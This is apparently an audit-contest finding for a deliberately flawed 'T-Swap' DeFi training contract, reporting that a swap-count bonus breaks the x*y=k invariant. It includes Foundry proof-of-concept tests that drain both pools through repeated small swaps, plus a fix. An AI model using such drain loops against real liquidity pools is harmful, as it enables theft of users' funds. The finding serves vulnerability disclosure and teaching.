First Flight #18: T-Swap

First Flight #18
Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

`TSwapPool::_swap` incentive breaks the protocol invariant of x \* y = k and allows draining the contract

Summary

The following block of code is responsible for the issue:

swap_count++;
if (swap_count >= SWAP_COUNT_MAX) {
swap_count = 0;
outputToken.safeTransfer(msg.sender, 1_000_000_000_000_000_000);
}

An attacker could drain the tokens from both pools by getting this incentive with low value transactions.

Also, the protocol follows a strict invariant of x * y = k (plus fees). Where:

  • x is the amount of the pool token

  • y is the amount of the WETH token

  • k is the constant product of the two balances

This means that whenever the balances change in the protocol, the ratio between the two amounts should remain constant, hence the k. However, this is broken due to the extra incentive in the _swap function. Meaning that over time, the procotol funds will be drained.

Impact

A user could maliciously drain the protocol of funds by doing a lot of swaps and collecting the extra incentive given out by the protocol.

Proof of Concept:

  1. A user swaps 10 times, and collects the extra incentive of 1_000_000_000_000_000_000 tokens

  2. The user continues to swap until all the protocol funds are drained

Draining contract Proof of Code
function testSwapCountAllowsDrainingTheContract() public {
vm.startPrank(liquidityProvider);
weth.approve(address(pool), 10e18);
poolToken.approve(address(pool), 10e18);
pool.deposit(10e18, 10e18, 10e18, uint64(block.timestamp));
vm.stopPrank();
address attacker = makeAddr("attacker");
weth.mint(attacker, 1e18);
poolToken.mint(attacker, 1e18);
vm.startPrank(attacker);
poolToken.approve(address(pool), 1e18);
weth.approve(address(pool), 1e18);
for (uint256 i = 0; i < 90; i++) {
pool.swapExactInput(poolToken, 1e15, weth, 0, uint64(block.timestamp));
}
for (uint256 i = 0; i < 90; i++) {
pool.swapExactInput(weth, 1e15, poolToken, 0, uint64(block.timestamp));
}
vm.stopPrank();
// Attacker ends with more than intended, and pool gets drained of its funds
assert(poolToken.balanceOf(attacker) > 9e18);
assert(weth.balanceOf(attacker) > 9e18);
assert(weth.balanceOf(address(pool)) < 2e18);
assert(poolToken.balanceOf(address(pool)) < 2e18);
}
Invariant Break Proof of Code
function testInvariantBreak() public {
// Liquidity provider adds liquidity to the pool
testDeposit();
vm.startPrank(user);
poolToken.approve(address(pool), type(uint256).max);
poolToken.mint(user, 100e18);
// We call swap 9 times to increase the swap_count
uint256 outputWeth = 1e17;
for (uint256 i = 0; i < 9; i++) {
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
}
int256 startingY = int256(weth.balanceOf(address(pool)));
int256 expectedDeltaY = int256(-1) * int256(outputWeth);
// The 10th swap gets the incentive and breaks the invariant
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
vm.stopPrank();
uint256 endingY = weth.balanceOf(address(pool));
int256 actualDeltaY = int256(endingY) - int256(startingY);
assert(actualDeltaY != expectedDeltaY);
}

Tools Used

Foundry and manual review

Recommendations

Remove the extra incentive mechanism.

- uint256 private swap_count = 0;
- uint256 private constant SWAP_COUNT_MAX = 10;
.
.
.
- swap_count++;
- if (swap_count >= SWAP_COUNT_MAX) {
- swap_count = 0;
- outputToken.safeTransfer(msg.sender, 1_000_000_000_000_000_000);
- }
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

In `TSwapPool::_swap` the extra tokens given to users after every swapCount breaks the protocol invariant of x * y = k

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.